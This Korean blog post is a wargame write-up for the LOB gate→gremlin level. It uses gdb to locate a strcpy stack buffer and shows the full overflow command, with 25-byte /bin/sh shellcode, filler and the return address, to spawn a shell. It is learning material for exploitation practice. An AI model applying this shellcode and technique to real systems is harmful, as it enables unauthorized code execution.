id/pw : gate/gate로 접속
gremlin.c 파일을 열어보았다. strcpy 함수는 복사하는 문자열의 길이를 검증하지 않아 취약점이 발생한다.
먼저 \xff를 \x00으로 인식하는 오류를 피하기 위해 bash2를 사용했다. 권한 문제로 gremlin을 복사한 gremlin2를 gdb로 확인해보자.
*main+62에서 buffer가 ebp-256에 있는 것을 알 수 있다. 버퍼의 크기가 256이기 때문에 dummy값은 없는 것 같다.
buffer(256) - sfp(4) - ret(4)
buffer의 주소를 알기 위해 *main+59에 breakpoint를 설정할 것이다.
그리고 A를 256개 입력해준다.
b*main+59
r `python -c 'print "A"*256'`
x/100x $esp는 주소에서 100개를 16진수로 출력해달라는 뜻이다.
여기서 buffer의 주소가 0xbffff928인 것을 알 수 있었다.
이제 공격을 시도해보자. 25바이트 쉘 코드를 사용할 것이다.
25바이트 쉘코드에 dummy값 235바이트를 채우고 buffer주소를 넣을 것이다.
쉘코드(25) + dummy(235) + buffer(4)
./gremlin `python -c'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*235+"\x28\xf9\xff\xbf"'`
gremlin에 공격 시도
공격에 성공했다!
hello bof world
'시스템 해킹 > LOB' 카테고리의 다른 글
[LOB] wolfman → darkelf (0) | 2021.02.22 |
---|---|
[LOB] orc → wolfman (0) | 2021.02.21 |
[LOB] goblin → orc (0) | 2021.02.21 |
[LOB] cobolt → goblin (0) | 2021.02.20 |
[LOB] gremlin → cobolt (0) | 2021.02.20 |